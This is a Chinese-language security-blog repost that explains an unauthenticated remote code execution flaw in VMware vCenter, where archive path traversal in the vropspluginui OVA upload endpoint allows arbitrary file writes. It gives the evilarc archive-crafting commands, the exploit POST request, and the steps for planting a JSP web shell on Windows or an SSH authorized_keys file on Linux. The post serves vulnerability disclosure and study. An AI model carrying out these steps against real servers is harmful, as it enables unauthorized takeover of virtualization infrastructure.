VMware vCenter中未经授权的RCE

  • A+
所属分类:安全文章

0x00 发现漏洞


        技术大佬在对vSphere Client进行分析的过程中,像往常一样采用了黑盒和白盒两种方法进行测试,重点研究了未经授权即可利用的漏洞。从Web面板,尝试发送尽可能多的不同请求,所有请求都没有Cookie标头。

    向发送未经授权的请求后/ui/vropspluginui/rest/services/*,发现它实际上不需要任何身份验证。

VMware vCenter中未经授权的RCE


未经授权即可访问URL

    该Web应用程序的某些功能依赖于通常位于单独的.jar文件中的插件。例如,vropspluginui插件在文件vropsplugin-service.jar中实现。

    每个插件必须在Web面板中指定哪些端点需要授权才能运行,而哪些端点不需要。该插件已配置为允许未经授权的用户访问其处理的任何URL。

    该uploadOvaFile 函数负责URL 

/ui/vropspluginui/rest/services/uploadova

VMware vCenter中未经授权的RCE

代码的脆弱部分

此路径的处理程序执行了以下操作:

  1. 收到带有uploadFile参数的POST请求。

  2. 读取并写入此参数的内容到inputStream变量。

  3. 打开结果数据作为.tar存档。

  4. 检索了所有存档(非目录)条目。

  5. 遍历所有条目时,使用文件命名约定在磁盘上创建了每个当前条目的副本/tmp/unicorn_ova_dir + entry_name

    这是注意到.tar条目的名称未过滤的地方。它们仅与字符串“ / tmp / unicorn_ova_dir”连接;在结果位置创建一个文件。这意味着我们可以创建一个包含字符串“ ../”的存档条目,这将使我们能够将任意文件上传到服务器上的任意目录。

    为了利用此骚操作来制作.tar存档,使用了evilarc实用程序。这是第二次派上用场了。

python evilarc.py -d 2 -p 'testFolder' -o win -f winexpl.tar testUpload.txt

生成的归档文件包含一个名为的文件....testFoldertestUpload.txt将其上载到URL,/ui/vropspluginui/rest/services/uploadova并检查服务器的文件系统testFolderC:根目录下是否存在该文件夹及其嵌套文件

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1Host: vSphereClient.localConnection: closeAccept: application/jsonContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VDContent-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VDContent-Disposition: form-data; name="uploadFile"; filename="a.ova"Content-Type: text/plain
{craftedArchive}------WebKitFormBoundaryH8GoragzRFVTw1VD--

VMware vCenter中未经授权的RCE

测试文件已成功上传

txt文件已成功上传,现在可以通过访问C:testFoldertestUpload.txt

0x01 在Windows上获取RCE


    为了能够在目标系统上执行任意命令,我们需要上载一个.jsp shell,该shell无需授权即可访问。要发现这样的位置:

  • 在磁盘上查找可以使用上述漏洞创建文件的可写路径

  • 将找到的文件路径映射到可访问的Web根目录的文件夹结构中,该目录能够运行.jsp脚本,并且不需要授权。

首先,让我们通过上传文件testUpload.txt并查看其属性菜单来检查我们的上传文件获得了哪些特权我们可以看到它的所有者是用户“ vsphere-ui”。

VMware vCenter中未经授权的RCE

上传文件的属性

    在搜索候选位置时,目录C:ProgramDataVMwarevCenterServerdataperfchartstc-instancewebappsstatsreport(存在.jsp文件)看起来很有希望。 

VMware vCenter中未经授权的RCE

无需授权即可访问JSP脚本

    检查未经授权的对jsp脚本的访问会产生成功。让我们检查一下vsphere-ui是否对该目录具有写权限。

VMware vCenter中未经授权的RCE

目标文件夹的特定于安全性的属性

    当然可以。我们可以上传特制的.jsp文件,以在系统上执行命令。

    让我们创建一个包含精心制作的.jsp shell有效内容的存档,并将其发送到我们正在研究的URL。

python evilarc.py -d 5 -p 'ProgramDataVMwarevCenterServerdataperfchartstc-instancewebappsstatsreport' -o win -f winexpl.tar testRCE.jsp

VMware vCenter中未经授权的RCE

漏洞利用

    我们的.jsp脚本已上传到服务器,这使我们有机会在具有NT AUTHORITY SYSTEM特权的系统上执行任意命令。

0x01 在Linux上获取RCE


    对于Linux实例,情况有所不同。但是它们也很容易受到攻击,并允许外部用户上传任意文件。

    在Linux上,我找不到允许同时上传和执行.jsp shell的目录。相反,存在另一种在服务器上实现命令执行的方法。

    我们知道可以使用vsphere-ui用户的权限上传任意文件。如果我们将公钥上传到该用户的主目录,并尝试使用私钥通过SSH连接到服务器,该怎么办?

    让我们检查SSH是否可以从外部访问:

nmap -p 22 vSphereLinux.local

VMware vCenter中未经授权的RCE

目标端口已打开

第一步是生成密钥对:

ssh-keygen -t rsa

VMware vCenter中未经授权的RCE

密钥对生成

然后使用生成的公共密钥创建.tar存档:

python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys

VMware vCenter中未经授权的RCE

进入命令行

我们可以使用vsphere-ui用户的权限访问服务器。

0x02 文章来源来源

Referer:

    https://swarm.ptsecurity.com/unauth-rce-vmware/

    https://github.com/ptoomey3/evilarc


VMware vCenter中未经授权的RCE

扫码二维码

获取更多精彩

洛米唯熊

VMware vCenter中未经授权的RCE




点个在看 你最好看



VMware vCenter中未经授权的RCE

本文始发于微信公众号(洛米唯熊):VMware vCenter中未经授权的RCE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: